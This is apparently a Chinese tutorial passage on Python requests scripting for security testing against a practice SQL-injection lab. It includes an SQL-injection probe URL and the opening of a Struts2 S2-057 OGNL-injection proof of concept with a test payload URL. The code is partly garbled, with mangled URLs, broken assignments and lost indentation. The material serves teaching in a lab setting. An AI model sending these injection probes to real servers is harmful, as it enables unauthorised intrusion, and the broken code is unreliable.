res=requests.post(url,proxies=proxies,data=req_body,headers=req_head)print(res.te
xt)
if("flag.jpg" in res.text):
print('登录成功')
else:
print('登录失败')
获取响应的数据并处理
获取响应的状态码
#导入requests包
import requests
#请求存入url变量
url=r'http:ll/sqlilabs.com/'
#发送请求,结果存入res变量
res=requests.get(url)
#获得请求结果的状态码,存入res scode中
res_scode=res.status_code
#如果结果为200通过,否则fail
if(res_scode == 200):
print('pass')
else:
print('fail")
获取响应的头
import requests
#请求存入url变量
url=r'http://sqlilabs.com/'
#发送请求,结果存入res变量
res=requests.get(url)
#获得请求结果的响应头,存入res_head中
res_headires.headers
#断言响应头中Content-Type 的值如果为text/html则用例通过
if(res_head['content-Type'] == 'text/html'):
print('pass')
else:
print('fail')
获得响应内容
java进行一次get请求,少说都要洋洋洒洒一两百行代码,创建流,发请求,解析数据,关闭流等等而
python就四行纯文本数据处理
import requests
import re
#请求存入url变量
url='http://sqlilabs.com/Less-1/?id=1%27'
#发送请求,结果存入res变量
res=requests.get(url)
#获得请求结果的文本值,存入res_scode中
res_text=res.text
#print(res.text)
print(type(res_text))
#断言判定返回的数据中是否含有MySQL
#设置正则表达式
pattern = re.compile(r'.*MySQL.*')
print(dir(pattern))
flag=pattern.search(res_text)
print(flag.group())
if flag:
print('ok')
else:
print('fail')
编写具体漏洞的PoC(Struts2漏洞 s-057)
复现漏洞
Pac:/struts2-showcase/$%7B233*233%7D/actionChain1.action
http://192.168.11.124:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
漏洞原理
条件
alwaysSelectFullNamespace属性值为true
存在缺省namespace的package,或namespace使用了通配符(如“/*”)
python编写PoC
import requests
import sys
def PoC(url):
try:
while True:
cmd = input('$')
if(cmd == 'exit'):
exit()
else:
url=cmd
print(url)
payload_command=